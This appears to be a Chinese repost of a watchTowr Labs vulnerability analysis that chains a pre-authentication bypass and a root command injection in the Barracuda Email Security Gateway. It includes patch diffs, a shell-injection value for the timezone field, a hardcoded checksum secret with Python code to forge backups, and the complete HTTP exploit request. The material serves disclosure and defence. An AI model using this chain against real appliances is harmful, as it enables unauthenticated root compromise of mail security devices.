梭子鱼电子邮件安全网关链无需登录即可实现Root访问"

admin 2026-11-09 01:10:24 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

梭子鱼电子邮件安全网关链无需登录即可实现Root访问

原创

骨哥说事
骨哥说事

骨哥说事

2026年11月7日 12:39
上海

去阅读

*声明:*文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

防走失:https://gugesay.com/

不想错过任何消息?设置星标↓ ↓ ↓

什么是\"梭子鱼\"(Barracuda)?为什么要说它?必须谈它吗?

梭子鱼(Barracuda)的邮件安全网关解决方案 (ESG) 可不太招人喜欢,这其中缘由颇多:

  • 对很多企业而言,它是一台部署在邮件系统前的关键安全设备,负责甄别哪些是垃圾邮件、哪些携带恶意软件、哪些可以\"通行无阻\"。
  • 对另一些运维人员来说,这就是那款在UNC4841(据Mandiant报告)利用CVE-2023-2868作为零日漏洞攻击后,必须强制进行硬件更换的设备。

无论你是哪类用户,有件事儿是确定的:它又是那类部署在网络边界、要\"审视\"所有流量、却很可能只配备了\"刚好够用来拦截一封关于你博客文章的恶意邮件\"的权限的设备。

好吧,那CVE-2026-116606和CVE-2026-111560到底是什么?

CVE编号总是出人意料的\"好记\"——这两个也不例外。先来看看Barracuda官方安全公告中的总结:

CVE编号 漏洞类型 CVSS评分 受影响产品范围 修复版本
CVE-2026-116606 认证前身份权限绕过(编者吐槽:哈哈?) 9.3 (严重) Barracuda ESG 9.4.0.029
CVE-2026-111560 操作系统命令注入 8.6 (高) ESG,负载均衡ADC,消息归档器,WAF控制中心,Web应用防火墙,Web安全网关 9.4.0.029

如果单独分开看,你或许可以用英国人那种保守的口吻,说它们\"不太理想\"。但如果把它们串联起来(指组合利用),再以那种英式思维来评价,可能会说\"嗯,还行吧\"。这其中的讽刺意味不言而喻。

所以,这两项漏洞会成为今天watchTowr实验室深度技术分析的焦点,也就不足为奇了——让我们泡杯咖啡,细细道来。

场景搭建

为了展开今天的完整分析,我们搭建了真实设备环境,并使用我们常规的\"这玩意儿到底改了啥\"对比流程,对两个版本进行了比对:

  • 存在漏洞的版本:Barracuda ESG 9.4.0.027
  • 已修复的版本:Barracuda ESG 9.4.0.029

在深入细节前,需要补充一个背景:为了修复CVE-2026-111560和CVE-2026-116606,Barracuda发布了多个补丁文件。不过,我们重点分析了其中两个,它们在内部被称为:

  • 补丁-1(针对CVE-2026-116606 \"认证前权限绕过\"问题)
  • 补丁-2(针对CVE-2026-111560 操作系统命令注入问题)

不得不说,没有什么比因为一个安全漏洞而需要对机架服务器进行\"物理驱魔\"(强制更换硬件)的往事回忆更让人\"暖心\"了(好吧,我们也知道背后另有故事)。

\"认证前权限绕过\"到底长啥样?(CVE-2026-116606探秘)

这正是我们坐下来要搞清楚的问题。幸运的是,我们并没有等待太久。

在分析补丁-1时,安装脚本至少清晰地说明了它的修补目的:

..snip..
# 认证前权限绕过漏洞允许
# 任意触发Spam_Config恢复操作
# CVSS评分 9.8 (严重)

细心的读者可能注意到了,这里标注的CVSS分数是9.8分,而Barracuda官方公告中给出的是9.3分。我们推测,9.8分可能是将两个漏洞组合评分的结果(CVSS专家会立刻认出这种做法\"不合规\"),而不是此处发生了什么异常。

深入到这个补丁所修改的文件中,我们很快锁定了一批\"嫌疑人\":

  • Index.pm
  • Backup2.pm
  • bayesian\_upload.pm
  • UserRole.pm
  • Params.pm

第一个嫌疑人浮出水面:Index.pm

Index.pm文件中的改动虽然微小,却颇为有趣。

Barracuda值得赞扬的一点是,他们在代码注释中(虽然有些含糊)给出了问题线索:

+    # 发送错误并在此停止。如果返回一个userrole对象
+    # 将导致response()方法继续运行模块处理器。

这条注释体现在整个补丁的核心改动处。补丁前和补丁后的代码对比如下:

if ($password_change_status ==
     $Login::status_codes{ERROR_PASSWD_CHANGE}->{val}) {
-    $params->{json_authenticate} = {
+    $self->audit(\"failed_password_change\", $params->{user});
+    # 发送错误并在此停止。如果返回一个userrole对象
+    # 将导致response()方法继续运行模块处理器。
+    return$self->_bailout_with_json_login_response(
+        $env, $params, {
         success => 'true',
         message => $Login::status_codes{ERROR_PASSWD_CHANGE}->{msg}
                    . \": \" . $message,
         status => $Login::status_codes{ERROR_PASSWD_CHANGE}->{val},
-    };
-    return$userrole;
+    });
 }

所以,Index.pm这个模块负责处理密码修改请求,但问题就出在修补前的代码中:当密码修改尝试失败(状态为ERROR_PASSWD_CHANGE)时。

下面是存在漏洞的完整函数代码(保留原始文件行号):

383:     if(defined($params->{new_password}) && defined($params->{retype_password}) && ! (-e \"/tmp/bypass_password\")){
384:         my $password_change_status=0;
385:         my $message = \"\";
386:         ($password_change_status, $message,$user) = Login::change_admin_password($params);
387:         if($password_change_status == 1 && $user){
388:            # 除非请求来自已通过认证的登录用户,否则不允许其注销
389:             my $url = \"/cgi-mod/index.cgi\" . uri_hash_to_querystring({
390:                     locale => $MS_globals::params{locale},
391:                     error => $status
392:                 });
393:             my %redir = (-location=>$url);
394:             $self->audit('password_change', $params->{user});
395:             Login::logoff_user($status, 1, $params->{user});
396:             return bailout();
397:         }
398:         else{
399:             if ($password_change_status == $Login::status_codes{ERROR_PASSWD_CHANGE}->{val}) {
400:                 $params->{json_authenticate} = {
401:                     success =>'true',
402:                     message => $Login::status_codes{ERROR_PASSWD_CHANGE}->{msg}.\": \". $message,
403:                     status => $Login::status_codes{ERROR_PASSWD_CHANGE}->{val},
404:                 };
405:                 $self->audit(\"failed_password_change\", $params->{user});
406:                 return $userrole;
407:             }

修补前的代码虽然返回了一个详细的JSON响应块,告知用户密码修改失败,但它并未真正终止程序执行流程。

我们来剖析一下:

  • 当密码修改成功(行387),程序最终在第396行执行return bailout();,这里的bailout()函数意味着\"请求处理完毕,立即停止处理\"。
  • 而当密码修改因ERROR_PASSWD_CHANGE而失败(行399)时,程序却在第406行执行了return $userrole;。

接下来的逻辑问题是:$userrole是什么? 简单说,它就是当前会话的\"角色对象\"。对于我们这个未经身份验证的请求,这个角色对象对应的是低权限的\"登录页面角色\"。

这有什么问题呢?问题在于,上面那段密码修改代码位于_process_params函数内部,而调用该函数的是response方法:

584: sub response {
585:     my ($self, $env, $params) = @_;
586:
587:     $self->set_self_url($env, $params);
588:
589:     # 如果设备未被激活,此行代码将清除用户可能在参数哈希中尝试的各种修改
590:     # 试图进行的更改操作
591:     $self->_check_activation($env, $params);
592:
593:     $self->_process_params($env, $params);
594:
595:     $self->_update_variables($env, $params);
596:
597:     Barracuda::Hooks::run_hooks(\"after write config\");

在第593行,_process_params函数执行完毕,并将$userrole直接返回给了response方法——整个函数正常返回,并没有返回任何错误标识,导致程序照常继续往下执行。

要复现这个行为,我们可以向/cgi-mod/index.cgi(这个端点最终会走到上述代码路径)发送一个POST请求,并在请求体中携带两个参数:

  • new_password
  • retype_password
POST /cgi-mod/index.cgi HTTP/1.1
Host: barracuda.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

user=admin&new_password=one&retype_password=two

设备会返回HTTP 200状态码,以及一个宣告密码修改失败的JSON响应体:

{\"message\":\"Error: Password Change: \",\"no_ajax_redirect\":\"true\",\"redirect\":\"/cgi-mod/password_change.cgi?auth_type=Local&locale=en_US&user=admin&error=Error: Password Change: \",\"success\":\"true\"}

\"但是等等,\"读者可能会问,\"一个失败的身份认证操作,难道不应该阻止任何后续需要权限的操作吗?这'登录页面角色'权限能干什么呢?\"

别那么天真。

我们现在需要的,就是一个能将此漏洞利用价值最大化的\"伙伴\"漏洞。而这正是我们要说的下一个安全弱点。

幸好,我们还有一个\"绝佳拍档\":命令注入漏洞!(CVE-2026-111560解析)

虽然我们已经发现了Barracuda称之为\"认证前权限绕过\"的异常行为,但还得搞清楚我们能用这个漏洞做些什么。

分析我们称之为\"补丁-2\"的文件,我们又看到了完整的Perl源代码,这让分析工作轻松了不少。

在这份补丁中,有两个文件格外引人注目:

  • Backup2.pm
  • fix\_tz.pl

对比分析Backup2.pm

快速分析后,我们发现Backup2.pm中最关键的修改集中在这个存在漏洞的代码块上:

if( -f \"/home/product/code/config/tz\" ) {
    my $system_timezone = Barracuda::Config::get('system_timezone');
    \\`sed -i 's#TZ=.*#TZ=$system_timezone#' /home/product/code/config/tz\\`;
}

通过对比修补后的代码,我们能更清楚地理解问题的本质。实际上,Barracuda用更安全的本地文件读写方式替换了危险的shell命令执行:

if( -f \"/home/product/code/config/tz\" ) {
     my $system_timezone = Barracuda::Config::get('system_timezone');
-    \\`sed -i 's#TZ=.*#TZ=$system_timezone#' /home/product/code/config/tz\\`;
+    if ($system_timezone && -f \"/usr/share/zoneinfo/$system_timezone\") {
+        open my $in, '<', '/home/product/code/config/tz' or die $!;
+        my @lines = <$in>;
+        close $in;
+        open my $out, '>', '/home/product/code/config/tz' or die $!;
+        for my $line (@lines) {
+            $line =~ s/^TZ=.*/TZ=$system_timezone/ if$line =~ /^TZ=/;
+            print$out$line;
+        }
+        close $out;
+    } else {
+        warn \"Skipping tz restore: invalid system_timezone='$system_timezone'\
\";
+    }
 }

总结起来,补丁揭示了三个关键点:

  1. 开始进行输入验证:供应商现在将system_timezone这个值视为不受信任的输入,要求它必须能在/usr/share/zoneinfo/目录下找到对应的真实文件才能使用。
  2. 移除了Shell命令执行:原来那行代码跨越了shell边界。Perl的反引号\\``会执行命令替换,这意味着Perl会构建一个字符串然后将其传递给shell处理。代码里围绕$system\_timezone`值的单引号看起来像是保护,但它们只是最终生成命令行中的普通字符,并非Perl语言层面的安全边界。

一个精心构造的值可以重写shell命令的语法,例如:

Region#';<攻击者命令>;#

第一个单引号闭合了原本的sed表达式,分号开启了新的shell命令,而#符号则注释掉了命令行的剩余部分。
3. 从函数名得到线索:这是我们真正兴奋起来的部分——函数名 finalize_restore(\"完成恢复操作\")给了我们很大的提示,关于如何利用这个漏洞。

对比分析fix\_tz.pl

补丁分析发现的第二个重要文件是fix_tz.pl,它讲述了一个与时区设置相关的类似命令注入故事。

my $system_timezone = Barracuda::Config::get('system_timezone');
exit if !$system_timezone;

\\`sed -i 's#ZONE=.*#ZONE=$system_timezone#' /etc/sysconfig/clock\\`;

实际上,这个文件的补丁同样增加了一个验证逻辑:

my $system_timezone = Barracuda::Config::get('system_timezone');
 exit if !$system_timezone;
+if (! -f \"/usr/share/zoneinfo/$system_timezone\") {
+    warn \"Invalid timezone: $system_timezone\
\";
+    exit 1;
+}

并且同样移除了shell命令执行,改为Perl直接读写文件的模式:

-\\`sed -i 's#ZONE=.*#ZONE=$system_timezone#' /etc/sysconfig/clock\\`;
+if (-f '/etc/sysconfig/clock') {
+    open my $in, '<', '/etc/sysconfig/clock' or die $!;
+    my @lines = <$in>;
+    close $in;
+    open my $out, '>', '/etc/sysconfig/clock' or die $!;
+    for my $line (@lines) {
+        $line =~ s/^ZONE=.*/ZONE=$system_timezone/ if $line =~ /^ZONE=/;
+        print $out $line;
+    }
+    close $out;
+}

长话短说:我们面对的是两个命令注入点:一个在Backup2.pm中,另一个在fix_tz.pl中。

具体来说:

  • Backup2::finalize_restore函数负责写入产品的配置文件(时区设置)
  • fix_tz.pl脚本则负责操作操作系统级别的时钟配置文件

并且,攻击者可以用相同的方法操控同一输入数据,同时影响这两个地方。

可能有读者会质疑:\"一个低权限的用户不可能写入这些关键系统文件啊!\"——这话没错,但我们现在讨论的可是特权化的安全设备,情况完全不同。这正是为什么上面的代码中,执行fix_tz.pl时会使用sudo命令:

if( -f \"/home/product/code/firmware/current/bin/fix_tz.pl\" ) {
    system('/usr/bin/sudo',
           '/home/product/code/firmware/current/bin/fix_tz.pl');
}

这可不是普通的操作系统命令注入漏洞,而是以root (系统最高权限)身份执行的漏洞!

开始实施利用

为了触发这个漏洞,我们需要找到一个能让代码自然执行到这处漏洞点的路径。很快,一个名为bayesian_upload.pm的上传处理程序进入了我们的视线。

看看这个bayesian_upload.pm文件的核心部分:

53: bc_sub bayesian_upload_handler =>
54:     perm { 1 },
55:     web_params( [param('user'), param('bayesian'), param('pu_bayesian_upload')]),
56:     does {
57:         my $args = shift;
58:         returnif(!defined($args->{'bayesian'}) || $ENV{REMOTE_USER} eq 'guest');
59:
60:         my $lock;
61:         my $error = '';
62:         my $filename = $Barracuda::BackupConfig::StagingJob::BACKUP_FILE;
63:
64:         try {
65:             $lock = Barracuda::Backup2::_grab_lock();
66:
67:             my $uploader = $args->{bayesian};
68:             if ($uploader->to_file( { dest => $filename } )) {
69:                 throw Barracuda::Exception;
70:            }
71:         }
<中间部分省略...>
94:         try {
95:             $ret = Barracuda::Backup2::restore_all($filename, %params);
96:         } catch Error with {

如你所见,这个函数逻辑很直接。它接收几个参数,只要条件满足,就会执行到第95行,那里调用restore_all函数来处理用户上传的备份文件。

利用\"备份恢复\"功能实现命令执行

说起来简单,但构建一个有效的攻击载荷可没那么容易。我们首先要搞清楚:\"备份文件到底长什么样?\"

幸运的是,在这个案例中,备份文件其实是一个tar压缩包,里面包含一个关键的\\backup.xml\\文件,这个文件描述了备份内容的详细信息。我们构建了一个示例结构:

<backup>
  <component name=\"Spam_Config\">
    <file id=\"mysql\" checksum=\"[此处为生成的校验和]\" path=\"mysql-poc.gz\" />
  </component>
  <info filename=\"poc.bak\" firmware_version=\"9.4.0.020\"
        model=\"V300\" platform=\"5\" product=\"emailswitch\" type=\"manual_backup\">
    <component_version name=\"Config\" number=\"1\" />
    <component_version name=\"Files\" number=\"1\" />
    <component_version name=\"Spam_Config\" number=\"1\" />
    <component_version name=\"mysql\" number=\"1\" />
  </info>
</backup>

眼尖的读者可能注意到了,Spam_Config这个组件名,与之前补丁中注释提到的完全一致。这就是关键线索!它是一个包含在backup.xml文件中的组件。

当设备恢复Spam_Config组件时,它会加载一个小的MySQL转储文件,并将其中定义的数据恢复到本地MySQL数据库中。

凑巧的是,被恢复的数据中有一行正是system_timezone。你猜到我们想干什么了吗?

如果我们把system_timezone这一行的值修改为这样,会发生什么:

UTC#';touch /tmp/watchTowr;#

但别高兴太早——我们还得先构建出一个合法的备份文件才行。

让我们的恶意备份\"合法\"通过

如前所述,备份恢复由名为restore_all的函数处理。这个函数会解压备份包,读取恢复列表,然后逐一恢复各个组件。

不过,我们遇到了一个安全校验障碍。

那棘手的校验和

backup.xml中列出的每个文件都包含一个checksum(校验和)属性,恢复函数会严格验证这个校验和。它会读取文件的原始字节,计算自己的校验和,如果两者不匹配,则会直接拒绝恢复操作。所以,我们以往\"随便填几个数字\"的老办法在这里行不通。

但这里有个非常有趣的发现:校验和的计算方式居然是:

md5(文件字节 + 秘密字符串 + \".\")

秘密字符串? 你可能会以为,这应该是一个动态变化、与设备绑定、难以预测的值。

但我们发现的\"秘密\"是:

CHECKSUM_SECRET = b\"Barracuda Networks is your new best friend\"

校验和的实际计算方式就是:md5(文件字节 + \"Barracuda Networks is your new best friend\" + \".\")

知道了这个,我们就能自己计算出合法的校验和:

47:     mysql_dump = gzip.compress(sql, compresslevel=9, mtime=0)
48:     checksum = hashlib.md5(mysql_dump + CHECKSUM_SECRET + b\".\").hexdigest()
49:     timestamp = time.strftime(\"%Y%m%dT%H%M%S\", time.gmtime())
50:     backup_xml = f\"\"\"<?xml version='1.0' standalone='yes'?>
51: <backup>
52:   <component name=\"Spam_Config\">
53:     <file id=\"mysql\" checksum=\"{checksum}\" path=\"mysql-poc.gz\" />

最终组合攻击链

虽然\"字数多意味着文章长\"是句老话,但令人意外的是,将今天文章中讨论的两个漏洞串联起来进行完整利用的HTTP请求,其实相当简洁:

POST /cgi-mod/index.cgi HTTP/1.1
Host: barracuda.com
Content-Type: multipart/form-data; boundary=BOUNDARY

--BOUNDARY
Content-Disposition: form-data; name=\"user\"

admin
--BOUNDARY
Content-Disposition: form-data; name=\"new_password\"

one
--BOUNDARY
Content-Disposition: form-data; name=\"retype_password\"

two
--BOUNDARY
Content-Disposition: form-data; name=\"UPDATE_activation_code\"

1
--BOUNDARY
Content-Disposition: form-data; name=\"pu_bayesian_upload\"

1
--BOUNDARY
Content-Disposition: form-data; name=\"bayesian\"; filename=\"poc.bak\"
Content-Type: application/octet-stream

<TAR备份文件内容>
--BOUNDARY--

检测样本生成器

和往常一样,我们分享了我们的检测样本生成器,以便在你的环境中评估受影响程度并制定修复计划。

你可以在我们的GitHub页面找到相关代码和工具。

PoC:https://github.com/watchtowrlabs/watchTowr-vs-Barracuda-RCE-CVE-2026-116606-CVE-2026-111560

原文:https://labs.watchtowr.com/barracuda-networks-is-your-new-best-friend-barracuda-email-security-gateway-pre-auth-remote-root-rce-cve-2026-116606-cve-2026-111560/

  • END -

感谢阅读,如果觉得还不错的话,动动手指给个三连吧~

评论:0   参与:  0